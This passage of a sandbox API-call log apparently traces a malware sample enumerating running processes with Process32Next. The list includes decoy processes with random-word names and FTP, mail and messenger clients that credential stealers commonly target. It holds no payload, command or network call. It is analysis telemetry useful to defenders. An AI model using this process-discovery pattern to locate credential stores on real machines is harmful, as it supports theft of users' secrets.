szExeFile="WmiPrvSE.exe")) returned 1 [0265.331] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0265.333] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0265.334] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0265.336] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0265.390] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0265.392] CloseHandle (hObject=0x1024) returned 1 [0265.392] Sleep (dwMilliseconds=0x64) [0265.441] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1024 [0265.452] Process32First (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0265.454] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0265.455] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0265.457] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.458] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0265.459] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.461] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0265.463] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0265.465] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0265.466] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.468] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.470] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0265.471] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.523] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.525] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.527] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.530] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.532] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.533] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.535] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0265.537] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0265.538] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0265.540] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.542] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0265.543] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0265.545] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0265.547] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0265.548] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.550] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0265.552] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0265.553] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0265.555] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0265.556] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0265.558] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0265.630] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0265.632] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0265.633] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0265.634] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0265.636] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0265.637] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0265.639] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0265.640] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0265.642] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0265.647] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0265.650] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0265.652] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0265.654] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0265.656] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0265.658] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0265.660] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0265.662] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0265.664] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0265.723] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0265.725] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0265.727] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0265.729] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0265.732] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0265.734] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0265.736] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0265.739] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0265.742] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0265.746] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0265.748] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0265.751] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0265.753] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0265.756] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0265.758] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0265.760] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0265.763] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0265.765] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0265.818] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0265.820] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0265.822] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0265.824] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0265.826] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0265.828] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0265.829] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0265.832] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0265.834] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, 